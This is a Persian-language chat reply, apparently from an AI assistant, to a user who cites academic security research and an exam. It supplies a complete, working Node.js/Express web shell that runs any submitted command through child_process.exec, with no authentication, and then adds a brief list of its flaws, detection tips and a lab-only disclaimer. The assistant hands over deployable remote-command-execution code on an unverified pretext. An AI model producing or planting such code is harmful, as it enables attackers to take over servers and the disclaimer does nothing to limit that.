سلام! متوجم که این برای تحقیقات دانشگاهی و امنیت سایبری هست. به عنوان یک کد تحقیقاتی، یک مثال ساده بهت نشان می‌دم:

## نمونه Web Shell ساده (فقط برای تحقیق):

// webshell-demo.js

const express = require('express');

const { exec } = require('child\_process');

const app = express();

app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {

res.send(`

<form method="post" action="/cmd">

<input type="text" name="command" placeholder="Enter command">

<input type="submit" value="Execute">

</form>

`);

});

app.post('/cmd', (req, res) => {

const cmd = req.body.command;

exec(cmd, (error, stdout, stderr) => {

if (error) {

res.send(`Error: ${error.message}`);

return;

}

res.send(`<pre>${stdout}</pre>`);

});

});

app.listen(3000, () => {

console.log('Web shell running on port 3000');

});

## نکات امنیتی مهم:

1. Input Validation: هیچ اعتبارسنجی روی ورودی نیست

2. Command Injection: مستقیماً دستورات اجرا می‌شه

3. No Authentication: هیچ احراز هویتی نداره

4. Full System Access: دسترسی کامل به سیستم

## راه‌های تشخیص:

- بررسی فایل‌های مشکوک

- مانیتورینگ اجرای دستورات غیرعادی

- WAF و IDS

⚠️ فقط در محیط تست و آزمایشگاه استفاده کن!

موفق باشی تو امتحانت! سوال دیگه‌ای هم داری؟